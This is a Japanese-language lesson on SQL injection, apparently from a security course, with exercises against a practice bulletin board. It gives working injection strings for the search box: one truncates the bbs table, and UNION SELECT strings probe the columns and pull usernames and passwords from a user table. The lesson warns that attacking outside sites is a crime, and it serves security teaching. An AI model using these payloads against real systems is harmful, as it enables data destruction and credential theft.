演習課題「テーブルのレコードをすべて削除する」
ユーザーeveとしてログインし、bbsテーブルのすべてのレコードを削除してください。
テーブルの構成は動画で解説したものと同じです。
ユーザーeveのログインパスワードは123です。
演習課題「趣味を調べる」
ユーザーeveとしてログインし、ユーザーaliceのhobbyを盗み見てください。
aliceのhobbyがわかったら、その内容をBBSにADDボタンで投稿してから、採点ボタンを押してください。
※ユーザーeveのログインパスワードは123です。
#03:SQLインジェクションで攻撃する
SQLインジェクションでレッスン内のサイトを攻撃してみます。攻撃者の視点でaliceのパスワードを盗み出します。
本レッスンの攻撃内容を外部のサイトにおこなうと犯罪になりますので、ご注意ください。
インジェクション:意図しないコードをシステムに注入し、実行させること
SQLインジェクション:インジェクションで意図しないSQLコードを実行させること
(具体例) 通常は参照できないデータベースの値を盗み見たり、データを破壊・改ざんしたりする
このチャプターでは、悪意のある攻撃者の「eve」としてログインして、aliceのパスワードを盗み出します。
ユーザー名:eve
パスワード:123
掲示板のWebサイトを開いているところで右クリックして、「フレームのソースを表示」を選択します。
※本動画ではブラウザにGoogle Chromeを使用しています。
掲示板の検索欄で「Hello」を検索すると、ソースのHTMLには以下のコメントが含まれています。<!-- [debug SQL]: SELECT id, content, user_name FROM bbs WHERE content like "%Hello%" -->
ここから、掲示板で検索すると、システムの内部で、SELECT id, content, user_name FROM bbs WHERE content like "%(検索文字列)%"
というSQLが実行されることがわかります。
検索欄で「"; TRUNCATE TABLE bbs; -- 」を検索すると、内部で実行されるSQLは以下のようになります。SELECT id, content, user_name FROM bbs WHERE content like "%"; TRUNCATE TABLE bbs; -- %"
SQL文では 「--」 以降がコメントになるので、SELECT id, content, user_name FROM bbs WHERE content like "%"; TRUNCATE TABLE bbs;
というSQLが実行されることになります。
TRUNCATE TABLEは指定したテーブルからすべての行を削除するSQLです。
これによって、bbsテーブルの内容が意図せず削除されてしまいます。
SQLでunionを使うと、テーブルの末尾に1行分のレコードを結合して出力します。
検索欄で「" union select 1, 2, 3; -- 」を入力して検索すると、システムの内部では、SELECT id, content, user_name FROM bbs WHERE content like "%" union select 1, 2, 3; -- %"
というSQLが実行されます。
掲示板のページには、検索結果として
comment | user_name |
---|---|
2 | 3 |
が表示されているので、
SELECTの2番目に指定した値がcommentの行に、3番目に指定した値がuser_nameの行に表示されることが確認できます。
userテーブルにnameとpasswordというカラムがあることを予想して、
検索欄に「" union select 1, name, password from user; -- 」
と入力して検索します。
すると、システムの内部では、SELECT id, content, user_name FROM bbs WHERE content like "%" union select 1, name, password from user; -- %"
というSQLが実行されます。
ログイン情報がuserテーブルにnameとpasswordというカラムで保存されていた場合には、
Webページの表示結果から他のユーザーのログイン情報を知ることができてしまいます。